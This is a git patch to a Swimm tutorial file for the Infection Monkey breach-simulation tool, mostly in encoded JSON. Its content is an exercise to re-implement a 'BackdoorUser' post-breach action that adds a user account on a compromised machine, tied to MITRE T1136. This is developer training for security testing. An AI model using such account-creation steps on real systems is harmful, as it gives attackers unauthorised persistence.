JTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJ0eXBlJTVDJTIyJTNBJTIwJTVDJTIyc3RyaW5nJTVDJTIyJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTclMkMlMjJiJTIyJTNBOCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMmVudW0lNUMlMjIlM0ElMjAlNUIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExOCUyQyUyMmIlMjIlM0E5JTdEJTdEJTVEJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBNCUyQyUyMmxpbmVzQ291bnQlMjIlM0ExNSU3RCUyQyUyMmIlMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0E0JTJDJTIybGluZXNDb3VudCUyMiUzQTYlN0QlN0QlN0QlN0Q="
+ ]
+ },
+ "monkey/monkey_island/cc/services/config_schema/monkey.py": {
+ "index": [
+ "dd10cb35..0fe63516",
+ "100644"
+ ],
+ "fileA": "monkey/monkey_island/cc/services/config_schema/monkey.py",
+ "fileB": "monkey/monkey_island/cc/services/config_schema/monkey.py",
+ "status": "MODIFIED",
+ "numLineDeletions": 1,
+ "numLineAdditions": 0,
+ "hunkContainers": [
+ "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC02MSUyQzclMjAlMkI2MSUyQzYlMjAlNDAlNDAlMjBNT05LRVklMjAlM0QlMjAlN0IlMjIlMkMlMjJjaGFuZ2VzJTIyJTNBJTVCJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIyJTI0cmVmJTVDJTIyJTNBJTIwJTVDJTIyJTIzJTJGZGVmaW5pdGlvbnMlMkZwb3N0X2JyZWFjaF9hY3Rpb25zJTVDJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNjElMkMlMjJiJTIyJTNBNjElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E2MiUyQyUyMmIlMjIlM0E2MiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMmRlZmF1bHQlNUMlMjIlM0ElMjAlNUIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E2MyUyQyUyMmIlMjIlM0E2MyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJCYWNrZG9vclVzZXIlNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E2NCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMkNvbW11bmljYXRlQXNOZXdVc2VyJTVDJTIyJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNjUlMkMlMjJiJTIyJTNBNjQlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJNb2RpZnlTaGVsbFN0YXJ0dXBGaWxlcyU1QyUyMiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTY2JTJDJTIyYiUyMiUzQTY1JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIySGlkZGVuRmlsZXMlNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E2NyUyQyUyMmIlMjIlM0E2NiU3RCU3RCU1RCUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTYxJTJDJTIybGluZXNDb3VudCUyMiUzQTclN0QlMkMlMjJiJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBNjElMkMlMjJsaW5lc0NvdW50JTIyJTNBNiU3RCU3RCU3RCU3RA=="
+ ]
+ }
+ },
+ "diff": "ZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRmNvbW1vbiUyRmRhdGElMkZwb3N0X2JyZWFjaF9jb25zdHMucHklMjBiJTJGbW9ua2V5JTJGY29tbW9uJTJGZGF0YSUyRnBvc3RfYnJlYWNoX2NvbnN0cy5weSUwQWluZGV4JTIwYzNiYmE5OTUuLjJiZDQ1ODJmJTIwMTAwNjQ0JTBBLS0tJTIwYSUyRm1vbmtleSUyRmNvbW1vbiUyRmRhdGElMkZwb3N0X2JyZWFjaF9jb25zdHMucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGY29tbW9uJTJGZGF0YSUyRnBvc3RfYnJlYWNoX2NvbnN0cy5weSUwQSU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM0JTIwJTQwJTQwJTBBJTIwUE9TVF9CUkVBQ0hfQ09NTVVOSUNBVEVfQVNfTkVXX1VTRVIlMjAlM0QlMjAlMjJDb21tdW5pY2F0ZSUyMGFzJTIwbmV3JTIwdXNlciUyMiUwQS1QT1NUX0JSRUFDSF9CQUNLRE9PUl9VU0VSJTIwJTNEJTIwJTIyQmFja2Rvb3IlMjB1c2VyJTIyJTBBJTIwUE9TVF9CUkVBQ0hfRklMRV9FWEVDVVRJT04lMjAlM0QlMjAlMjJGaWxlJTIwZXhlY3V0aW9uJTIyJTBBJTIwUE9TVF9CUkVBQ0hfU0hFTExfU1RBUlRVUF9GSUxFX01PRElGSUNBVElPTiUyMCUzRCUyMCUyMk1vZGlmeSUyMHNoZWxsJTIwc3RhcnR1cCUyMGZpbGUlMjIlMEElMjBQT1NUX0JSRUFDSF9ISURERU5fRklMRVMlMjAlM0QlMjAlMjJIaWRlJTIwZmlsZXMlMjBhbmQlMjBkaXJlY3RvcmllcyUyMiUwQWRpZmYlMjAtLWdpdCUyMGElMkZtb25rZXklMkZpbmZlY3Rpb25fbW9ua2V5JTJGcG9zdF9icmVhY2glMkZhY3Rpb25zJTJGYWRkX3VzZXIucHklMjBiJTJGbW9ua2V5JTJGaW5mZWN0aW9uX21vbmtleSUyRnBvc3RfYnJlYWNoJTJGYWN0aW9ucyUyRmFkZF91c2VyLnB5JTBBaW5kZXglMjA1OGJlODlhMS4uMWU5MTVkMmUlMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGaW5mZWN0aW9uX21vbmtleSUyRnBvc3RfYnJlYWNoJTJGYWN0aW9ucyUyRmFkZF91c2VyLnB5JTBBJTJCJTJCJTJCJTIwYiUyRm1vbmtleSUyRmluZmVjdGlvbl9tb25rZXklMkZwb3N0X2JyZWFjaCUyRmFjdGlvbnMlMkZhZGRfdXNlci5weSUwQSU0MCU0MCUyMC0xJTJDMTUlMjAlMkIxJTJDNyUyMCU0MCU0MCUwQS1mcm9tJTIwY29tbW9uLmRhdGEucG9zdF9icmVhY2hfY29uc3RzJTIwaW1wb3J0JTIwUE9TVF9CUkVBQ0hfQkFDS0RPT1JfVVNFUiUwQS1mcm9tJTIwaW5mZWN0aW9uX21vbmtleS5jb25maWclMjBpbXBvcnQlMjBXb3JtQ29uZmlndXJhdGlvbiUwQSUyMGZyb20lMjBpbmZlY3Rpb25fbW9ua2V5LnBvc3RfYnJlYWNoLnBiYSUyMGltcG9ydCUyMFBCQSUwQSUyMGZyb20lMjBpbmZlY3Rpb25fbW9ua2V5LnV0aWxzLnVzZXJzJTIwaW1wb3J0JTIwZ2V0X2NvbW1hbmRzX3RvX2FkZF91c2VyJTBBJTIwJTBBJTIwJTBBJTIwY2xhc3MlMjBCYWNrZG9vclVzZXIoUEJBKSUzQSUwQSUyMCUyMCUyMCUyMCUyMGRlZiUyMF9faW5pdF9fKHNlbGYpJTNBJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGxpbnV4X2NtZHMlMkMlMjB3aW5kb3dzX2NtZHMlMjAlM0QlMjBnZXRfY29tbWFuZHNfdG9fYWRkX3VzZXIoJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMFdvcm1Db25maWd1cmF0aW9uLnVzZXJfdG9fYWRkJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMFdvcm1Db25maWd1cmF0aW9uLnJlbW90ZV91c2VyX3Bhc3MpJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHN1cGVyKEJhY2tkb29yVXNlciUyQyUyMHNlbGYpLl9faW5pdF9fKCUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBQT1NUX0JSRUFDSF9CQUNLRE9PUl9VU0VSJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGxpbnV4X2NtZCUzRCclMjAnLmpvaW4obGludXhfY21kcyklMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwd2luZG93c19jbWQlM0R3aW5kb3dzX2NtZHMpJTBBJTJCJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwcGFzcyUwQWRpZmYlMjAtLWdpdCUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmF0dGFjayUyRnRlY2huaXF1ZV9yZXBvcnRzJTJGVDExMzYucHklMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZhdHRhY2slMkZ0ZWNobmlxdWVfcmVwb3J0cyUyRlQxMTM2LnB5JTBBaW5kZXglMjAwODZhMWMxMy4uYWU3ODE3M2QlMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZhdHRhY2slMkZ0ZWNobmlxdWVfcmVwb3J0cyUyRlQxMTM2LnB5JTBBJTJCJTJCJTJCJTIwYiUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGYXR0YWNrJTJGdGVjaG5pcXVlX3JlcG9ydHMlMkZUMTEzNi5weSUwQSU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM0JTIwJTQwJTQwJTBBLWZyb20lMjBjb21tb24uZGF0YS5wb3N0X2JyZWFjaF9jb25zdHMlMjBpbXBvcnQlMjAoJTBBLSUyMCUyMCUyMCUyMFBPU1RfQlJFQUNIX0JBQ0tET09SX1VTRVIlMkMlMjBQT1NUX0JSRUFDSF9DT01NVU5JQ0FURV9BU19ORVdfVVNFUiklMEElMkJmcm9tJTIwY29tbW9uLmRhdGEucG9zdF9icmVhY2hfY29uc3RzJTIwaW1wb3J0JTIwKFBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSKSUwQSUyMGZyb20lMjBtb25rZXlfaXNsYW5kLmNjLnNlcnZpY2VzLmF0dGFjay50ZWNobmlxdWVfcmVwb3J0cy5wYmFfdGVjaG5pcXVlJTIwaW1wb3J0JTIwJTVDJTBBJTIwJTIwJTIwJTIwJTIwUG9zdEJyZWFjaFRlY2huaXF1ZSUwQSUyMCUwQSU0MCU0MCUyMC0xMSUyQzQlMjAlMkIxMCUyQzQlMjAlNDAlNDAlMjBjbGFzcyUyMFQxMTM2KFBvc3RCcmVhY2hUZWNobmlxdWUpJTNBJTBBJTIwJTIwJTIwJTIwJTIwdW5zY2FubmVkX21zZyUyMCUzRCUyMCUyMk1vbmtleSUyMGRpZG4ndCUyMHRyeSUyMGNyZWF0aW5nJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG5ldHdvcmsncyUyMHN5c3RlbXMuJTIyJTBBJTIwJTIwJTIwJTIwJTIwc2Nhbm5lZF9tc2clMjAlM0QlMjAlMjJNb25rZXklMjB0cmllZCUyMGNyZWF0aW5nJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG5ldHdvcmsncyUyMHN5c3RlbXMlMkMlMjBidXQlMjBmYWlsZWQuJTIyJTBBJTIwJTIwJTIwJTIwJTIwdXNlZF9tc2clMjAlM0QlMjAlMjJNb25rZXklMjBjcmVhdGVkJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG5ldHdvcmsncyUyMHN5c3RlbXMuJTIyJTBBLSUyMCUyMCUyMCUyMHBiYV9uYW1lcyUyMCUzRCUyMCU1QlBPU1RfQlJFQUNIX0JBQ0tET09SX1VTRVIlMkMlMjBQT1NUX0JSRUFDSF9DT01NVU5JQ0FURV9BU19ORVdfVVNFUiU1RCUwQSUyQiUyMCUyMCUyMCUyMHBiYV9uYW1lcyUyMCUzRCUyMCU1QlBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSJTVEJTBBZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGY29uZmlnX3NjaGVtYSUyRmRlZmluaXRpb25zJTJGcG9zdF9icmVhY2hfYWN0aW9ucy5weSUyMGIlMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZkZWZpbml0aW9ucyUyRnBvc3RfYnJlYWNoX2FjdGlvbnMucHklMEFpbmRleCUyMGYzZTJhOWJmLi5lZmQxYzFkNSUyMDEwMDY0NCUwQS0tLSUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZkZWZpbml0aW9ucyUyRnBvc3RfYnJlYWNoX2FjdGlvbnMucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZjb25maWdfc2NoZW1hJTJGZGVmaW5pdGlvbnMlMkZwb3N0X2JyZWFjaF9hY3Rpb25zLnB5JTBBJTQwJTQwJTIwLTQlMkMxNSUyMCUyQjQlMkM2JTIwJTQwJTQwJTIwUE9TVF9CUkVBQ0hfQUNUSU9OUyUyMCUzRCUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMm1pZ2h0JTIwZG8lMjBhZnRlciUyMGJyZWFjaGluZyUyMGElMjBuZXclMjBtYWNoaW5lLiUyMFVzZWQlMjBpbiUyMEFUVCUyNkNLJTIwYW5kJTIwWmVybyUyMHRydXN0JTIwcmVwb3J0cy4lMjIlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjJ0eXBlJTIyJTNBJTIwJTIyc3RyaW5nJTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIyYW55T2YlMjIlM0ElMjAlNUIlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdCJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnR5cGUlMjIlM0ElMjAlMjJzdHJpbmclMjIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyZW51bSUyMiUzQSUyMCU1QiUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJCYWNrZG9vclVzZXIlMjIlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVEJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnRpdGxlJTIyJTNBJTIwJTIyQmFjayUyMGRvb3IlMjB1c2VyJTIyJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMmluZm8lMjIlM0ElMjAlMjJBdHRlbXB0cyUyMHRvJTIwY3JlYXRlJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMHN5c3RlbSUyMGFuZCUyMGRlbGV0ZSUyMGl0JTIwYWZ0ZXJ3YXJkcy4lMjIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyYXR0YWNrX3RlY2huaXF1ZXMlMjIlM0ElMjAlNUIlMjJUMTEzNiUyMiU1RCUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJ0eXBlJTIyJTNBJTIwJTIyc3RyaW5nJTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyZW51bSUyMiUzQSUyMCU1QiUwQWRpZmYlMjAtLWdpdCUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZtb25rZXkucHklMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZjb25maWdfc2NoZW1hJTJGbW9ua2V5LnB5JTBBaW5kZXglMjBkZDEwY2IzNS4uMGZlNjM1MTYlMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZjb25maWdfc2NoZW1hJTJGbW9ua2V5LnB5JTBBJTJCJTJCJTJCJTIwYiUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGY29uZmlnX3NjaGVtYSUyRm1vbmtleS5weSUwQSU0MCU0MCUyMC02MSUyQzclMjAlMkI2MSUyQzYlMjAlNDAlNDAlMjBNT05LRVklMjAlM0QlMjAlN0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjIlMjRyZWYlMjIlM0ElMjAlMjIlMjMlMkZkZWZpbml0aW9ucyUyRnBvc3RfYnJlYWNoX2FjdGlvbnMlMjIlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJkZWZhdWx0JTIyJTNBJTIwJTVCJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMkJhY2tkb29yVXNlciUyMiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMkNvbW11bmljYXRlQXNOZXdVc2VyJTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyTW9kaWZ5U2hlbGxTdGFydHVwRmlsZXMlMjIlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJIaWRkZW5GaWxlcyUyMiUyQyUwQQ==",
+ "description": "UmVhZCUyMCU1Qm91ciUyMGRvY3VtZW50YXRpb24lMjBhYm91dCUyMGFkZGluZyUyMGElMjBuZXclMjBQQkElNUQoaHR0cHMlM0ElMkYlMkZ3d3cuZ3VhcmRpY29yZS5jb20lMkZpbmZlY3Rpb25tb25rZXklMkZkb2NzJTJGZGV2ZWxvcG1lbnQlMkZhZGRpbmctcG9zdC1icmVhY2gtYWN0aW9ucyUyRikuJTBBJTBBQWZ0ZXIlMjB0aGF0JTIwd2UlMjB3YW50JTIweW91JTIwdG8lMjBhZGQlMjB0aGUlMjBCYWNrZG9vclVzZXIlMjBQQkEuJTIwVGhlJTIwY29tbWFuZHMlMjB0aGF0JTIwYWRkJTIwdXNlcnMlMjBmb3IlMjBXaW4lMjBhbmQlMjBMaW51eCUyMGNhbiUyMGJlJTIwcmV0cmlldmVkJTIwZnJvbSUyMCU2MGdldF9jb21tYW5kc190b19hZGRfdXNlciU2MC4lMjAlMEElMEFOb3RlJTIwdGhhdCUyMHRoZSUyMFBCQSUyMHNob3VsZCUyMGltcGFjdCUyMHRoZSUyMFQxMTM2JTIwTUlUUkUlMjB0ZWNobmlxdWUlMjBhcyUyMHdlbGwhJTIwJTBBJTBBJTIzJTIwTWFudWFsJTIwdGVzdCUyMHRvJTIwY29uZmlybSUwQSUwQTEuJTIwUnVuJTIwdGhlJTIwTW9ua2V5JTIwSXNsYW5kJTBBMi4lMjBNYWtlJTIwc3VyZSUyMHlvdXIlMjBuZXclMjBQQkElMjBpcyUyMGVuYWJsZWQlMjBieSUyMGRlZmF1bHQlMjBpbiUyMHRoZSUyMGNvbmZpZyUyMC0lMjBmb3IlMjB0aGlzJTIwdGVzdCUyQyUyMGRpc2FibGUlMjBuZXR3b3JrJTIwc2Nhbm5pbmclMkMlMjBleHBsb2l0aW5nJTJDJTIwYW5kJTIwYWxsJTIwb3RoZXIlMjBQQkFzJTBBMy4lMjBSdW4lMjBNb25rZXklMEE0LiUyMFNlZSUyMHRoZSUyMFBCQSUyMGluJTIwdGhlJTIwc2VjdXJpdHklMjByZXBvcnQlMEE1JTJDJTIwU2VlJTIwdGhlJTIwUEJBJTIwaW4lMjB0aGUlMjBNSVRSRSUyMHJlcG9ydCUyMGluJTIwdGhlJTIwcmVsZXZhbnQlMjB0ZWNobmlxdWUlMEE=",
+ "dod": "WW91JTIwc2hvdWxkJTIwYWRkJTIwYSUyMG5ldyUyMFBCQSUyMHRvJTIwdGhlJTIwTW9ua2V5JTIwd2hpY2glMjBjcmVhdGVzJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG1hY2hpbmUu",
+ "summary": "VGFrZSUyMGElMjBsb29rJTIwYXQlMjB0aGUlMjBjb25maWd1cmF0aW9uJTIwb2YlMjB0aGUlMjBpc2xhbmQlMjBhZ2FpbiUyMC0lMjBzZWUlMjB0aGUlMjAlMjJjb21tYW5kJTIwdG8lMjBydW4lMjBhZnRlciUyMGJyZWFjaCUyMiUyMG9wdGlvbiUyMHdlJTIwb2ZmZXIlMjB0aGUlMjB1c2VyJTNGJTIwSXQncyUyMGltcGxlbWVudGVkJTIwZXhhY3RseSUyMGxpa2UlMjB5b3UlMjBkaWQlMjByaWdodCUyMG5vdyUyMGJ1dCUyMGVhY2glMjB1c2VyJTIwY2FuJTIwZG8lMjBpdCUyMGZvciUyMHRoZW1zZWx2ZXMuJTIwJTBBJTBBSG93ZXZlciUyQyUyMHdoYXQlMjBpZiUyMHRoZSUyMFBCQSUyMG5lZWRzJTIwdG8lMjBkbyUyMHN0dWZmJTIwd2hpY2glMjBpcyUyMG1vcmUlMjBjb21wbGV4JTIwdGhhbiUyMGp1c3QlMjBydW5uaW5nJTIwYSUyMGZldyUyMGNvbW1hbmRzJTNGJTIwSW4lMjB0aGF0JTIwY2FzZS4uLiUyMA==",
+ "file_version": "1.0.2",
+ "app_version": "0.1.50"
+}
\ No newline at end of file
From 04deee97b4912543009868d4981b8135cff7737a Mon Sep 17 00:00:00 2001
From: Swimm
Date: Wed, 12 Aug 2020 15:45:48 +0300
Subject: [PATCH 04/81] Swimm: saved Unit 'Simple Post Breach action - CLI
commands only' (tbxb2cGgUiJQ8Btma0fp)
---
.swm/tbxb2cGgUiJQ8Btma0fp.swm | 48 +++++++++++++----------------------
1 file changed, 17 insertions(+), 31 deletions(-)
diff --git a/.swm/tbxb2cGgUiJQ8Btma0fp.swm b/.swm/tbxb2cGgUiJQ8Btma0fp.swm
index 11e1303a4..4ebed1905 100644
--- a/.swm/tbxb2cGgUiJQ8Btma0fp.swm
+++ b/.swm/tbxb2cGgUiJQ8Btma0fp.swm
@@ -3,41 +3,41 @@
"name": "Simple Post Breach action - CLI commands only",
"tests": [],
"hints": [
- "See `Communicate as new user` PBA for an example.",
- "Make sure to add the PBA to the configuration as well"
+ "See `ScheduleJobs` PBA for an example of a PBA which only uses shell commands",
+ "Make sure to add the PBA to the configuration as well."
],
"files": {
"monkey/common/data/post_breach_consts.py": {
"index": [
- "c3bba995..2bd4582f",
+ "c3bba995..b7a228bb",
"100644"
],
"fileA": "monkey/common/data/post_breach_consts.py",
"fileB": "monkey/common/data/post_breach_consts.py",
"status": "MODIFIED",
"numLineDeletions": 1,
- "numLineAdditions": 0,
+ "numLineAdditions": 1,
"hunkContainers": [
- "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM0JTIwJTQwJTQwJTIyJTJDJTIyY2hhbmdlcyUyMiUzQSU1QiU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMFBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSJTIwJTNEJTIwJTVDJTIyQ29tbXVuaWNhdGUlMjBhcyUyMG5ldyUyMHVzZXIlNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExJTJDJTIyYiUyMiUzQTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyUE9TVF9CUkVBQ0hfQkFDS0RPT1JfVVNFUiUyMCUzRCUyMCU1QyUyMkJhY2tkb29yJTIwdXNlciU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjBQT1NUX0JSRUFDSF9GSUxFX0VYRUNVVElPTiUyMCUzRCUyMCU1QyUyMkZpbGUlMjBleGVjdXRpb24lNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0EzJTJDJTIyYiUyMiUzQTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjBQT1NUX0JSRUFDSF9TSEVMTF9TVEFSVFVQX0ZJTEVfTU9ESUZJQ0